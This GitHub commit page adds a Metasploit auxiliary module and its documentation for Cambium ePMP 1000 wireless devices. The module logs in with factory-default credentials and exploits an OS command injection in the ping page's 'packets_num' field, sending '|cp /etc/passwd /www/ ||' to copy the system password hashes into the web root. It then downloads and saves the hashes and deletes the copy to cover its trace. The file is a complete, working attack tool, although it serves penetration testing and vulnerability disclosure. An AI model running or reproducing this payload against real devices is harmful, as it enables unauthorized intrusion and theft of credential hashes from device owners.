Skip to content

Commit 66a585a

Browse files
committed
Land rapid7#8050, Add Cambium ePMP System Hash Dumper
2 parents 935c593 + dd7cf39 commit 66a585a

File tree

2 files changed

+350
-0
lines changed

2 files changed

+350
-0
lines changed
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_hashes```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/http/epmp1000_dump_hashes
14+
msf auxiliary(epmp1000_dump_hashes) > set rhosts 1.3.3.7
15+
msf auxiliary(epmp1000_dump_hashes) > set rport 80
16+
msf auxiliary(epmp1000_dump_hashes) > run
17+
18+
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
19+
[*] 1.3.3.7:80 - Attempting to login...
20+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
21+
[*] ++++++++++++++++++++++++++++++++++++++
22+
[*] 1.3.3.7:80 - [1/1] - dumping password hashes
23+
root:$1$<hash>:0:0:root:/root:/bin/ash
24+
...
25+
...
26+
[*] ++++++++++++++++++++++++++++++++++++++
27+
[+] 1.3.3.7:80 - File retrieved successfully!
28+
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_passwd_282393.txt
29+
[*] Scanned 1 of 1 hosts (100% complete)
30+
[*] Auxiliary module execution completed
31+
32+
```
Lines changed: 318 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,318 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Cambium ePMP 1000 Password Hash Extractor',
17+
'Description' => %{
18+
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
19+
},
20+
'References' =>
21+
[
22+
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
23+
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
24+
],
25+
'Author' =>
26+
[
27+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
28+
],
29+
'License' => MSF_LICENSE,
30+
'DefaultOptions' => { 'VERBOSE' => true })
31+
)
32+
33+
register_options(
34+
[
35+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
36+
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
37+
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
38+
], self.class
39+
)
40+
end
41+
42+
def run_host(ip)
43+
unless is_app_epmp1000?
44+
return
45+
end
46+
47+
each_user_pass do |user, pass|
48+
do_login(user, pass)
49+
end
50+
end
51+
52+
def report_cred(opts)
53+
service_data = {
54+
address: opts[:ip],
55+
port: opts[:port],
56+
service_name: opts[:service_name],
57+
protocol: 'tcp',
58+
workspace_id: myworkspace_id
59+
}
60+
61+
credential_data = {
62+
origin_type: :service,
63+
module_fullname: fullname,
64+
username: opts[:user],
65+
private_data: opts[:password],
66+
private_type: :password
67+
}.merge(service_data)
68+
69+
login_data = {
70+
last_attempted_at: Time.now,
71+
core: create_credential(credential_data),
72+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
73+
proof: opts[:proof]
74+
}.merge(service_data)
75+
76+
create_credential_login(login_data)
77+
end
78+
79+
#
80+
# Check if App is Cambium ePMP 1000
81+
#
82+
83+
def is_app_epmp1000?
84+
begin
85+
res = send_request_cgi(
86+
{
87+
'uri' => '/',
88+
'method' => 'GET'
89+
}
90+
)
91+
92+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
93+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
94+
return false
95+
end
96+
97+
good_response = (
98+
res &&
99+
res.code == 200 &&
100+
res.headers['Server'] &&
101+
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
102+
)
103+
104+
if good_response
105+
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
106+
if !get_epmp_ver.nil?
107+
epmp_ver = get_epmp_ver[1]
108+
if !epmp_ver.nil?
109+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
110+
if "#{epmp_ver}" >= '2.5'
111+
print_error('This ePMP version is not vulnerable. Module will not continue.')
112+
return false
113+
else
114+
return true
115+
end
116+
else
117+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
118+
return true
119+
end
120+
end
121+
else
122+
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
123+
return false
124+
end
125+
end
126+
127+
#
128+
# Dump ePMP Password Hashes
129+
#
130+
131+
def do_login(user, pass)
132+
print_status("#{rhost}:#{rport} - Attempting to login...")
133+
begin
134+
res = send_request_cgi(
135+
{
136+
'uri' => '/cgi-bin/luci',
137+
'method' => 'POST',
138+
'headers' => {
139+
'X-Requested-With' => 'XMLHttpRequest',
140+
'Accept' => 'application/json, text/javascript, */*; q=0.01'
141+
},
142+
'vars_post' =>
143+
{
144+
'username' => 'dashboard',
145+
'password' => ''
146+
}
147+
}
148+
)
149+
150+
good_response = (
151+
res &&
152+
res.code == 200 &&
153+
res.headers.include?('Set-Cookie') &&
154+
res.headers['Set-Cookie'].include?('sysauth')
155+
)
156+
157+
if good_response
158+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
159+
160+
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
161+
162+
res = send_request_cgi(
163+
{
164+
'uri' => '/cgi-bin/luci',
165+
'method' => 'POST',
166+
'cookie' => cookie1,
167+
'headers' => {
168+
'X-Requested-With' => 'XMLHttpRequest',
169+
'Accept' => 'application/json, text/javascript, */*; q=0.01',
170+
'Connection' => 'close'
171+
},
172+
'vars_post' =>
173+
{
174+
'username' => user,
175+
'password' => pass
176+
}
177+
}
178+
)
179+
180+
end
181+
182+
good_response = (
183+
res &&
184+
res.code == 200 &&
185+
res.headers.include?('Set-Cookie') &&
186+
res.headers['Set-Cookie'].include?('stok=')
187+
)
188+
189+
if good_response
190+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
191+
192+
report_cred(
193+
ip: rhost,
194+
port: rport,
195+
service_name: 'Cambium ePMP 1000',
196+
user: user,
197+
password: pass
198+
)
199+
200+
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
201+
if !get_stok.nil?
202+
stok_value = get_stok[1]
203+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
204+
205+
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
206+
207+
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
208+
command = 'cp /etc/passwd /www/'
209+
inject = '|' + "#{command}" + ' ||'
210+
clean_inject = CGI.unescapeHTML(inject.to_s)
211+
212+
res = send_request_cgi(
213+
{
214+
'uri' => uri1,
215+
'method' => 'POST',
216+
'cookie' => cookie2,
217+
'headers' => {
218+
'Accept' => '*/*',
219+
'Accept-Language' => 'en-US,en;q=0.5',
220+
'Accept-Encoding' => 'gzip, deflate',
221+
'X-Requested-With' => 'XMLHttpRequest',
222+
'ctype' => '*/*',
223+
'Connection' => 'close'
224+
},
225+
'vars_post' =>
226+
{
227+
'ping_ip' => '8.8.8.8',
228+
'packets_num' => clean_inject,
229+
'buf_size' => 0,
230+
'ttl' => 1,
231+
'debug' => '0'
232+
}
233+
}
234+
)
235+
236+
res = send_request_cgi(
237+
{
238+
'method' => 'GET',
239+
'uri' => '/passwd',
240+
'cookie' => cookie2,
241+
'headers' => {
242+
'Accept' => '*/*',
243+
'Accept-Language' => 'en-US,en;q=0.5',
244+
'Accept-Encoding' => 'gzip, deflate',
245+
'X-Requested-With' => 'XMLHttpRequest',
246+
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
247+
'Connection' => 'close'
248+
}
249+
}, 25
250+
)
251+
252+
if res && res.code == 200 && res.body =~ /root/
253+
vprint_status('++++++++++++++++++++++++++++++++++++++')
254+
vprint_status("#{rhost}:#{rport} - dumping password hashes")
255+
vprint_line("#{res.body}")
256+
vprint_status('++++++++++++++++++++++++++++++++++++++')
257+
258+
print_good("#{rhost}:#{rport} - File retrieved successfully!")
259+
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
260+
print_status("#{rhost}:#{rport} - File saved in: #{path}")
261+
else
262+
print_error("#{rhost}:#{rport} - Failed to retrieve hashes")
263+
return
264+
end
265+
266+
command = 'rm /www/passwd'
267+
inject = '|' + "#{command}" + ' ||'
268+
clean_inject = CGI.unescapeHTML(inject.to_s)
269+
270+
res = send_request_cgi(
271+
{
272+
'uri' => uri1,
273+
'method' => 'POST',
274+
'cookie' => cookie2,
275+
'headers' => {
276+
'Accept' => '*/*',
277+
'Accept-Language' => 'en-US,en;q=0.5',
278+
'Accept-Encoding' => 'gzip, deflate',
279+
'X-Requested-With' => 'XMLHttpRequest',
280+
'ctype' => '*/*',
281+
'Connection' => 'close'
282+
},
283+
'vars_post' =>
284+
{
285+
'ping_ip' => '8.8.8.8',
286+
'packets_num' => clean_inject,
287+
'buf_size' => 0,
288+
'ttl' => 1,
289+
'debug' => '0'
290+
}
291+
}
292+
)
293+
294+
# Extract ePMP version
295+
res = send_request_cgi(
296+
{
297+
'uri' => '/',
298+
'method' => 'GET'
299+
}
300+
)
301+
302+
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
303+
304+
report_cred(
305+
ip: rhost,
306+
port: rport,
307+
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
308+
user: user,
309+
password: pass
310+
)
311+
else
312+
# Login failed
313+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
314+
end
315+
end
316+
end
317+
end
318+
end

0 commit comments

Comments
 (0)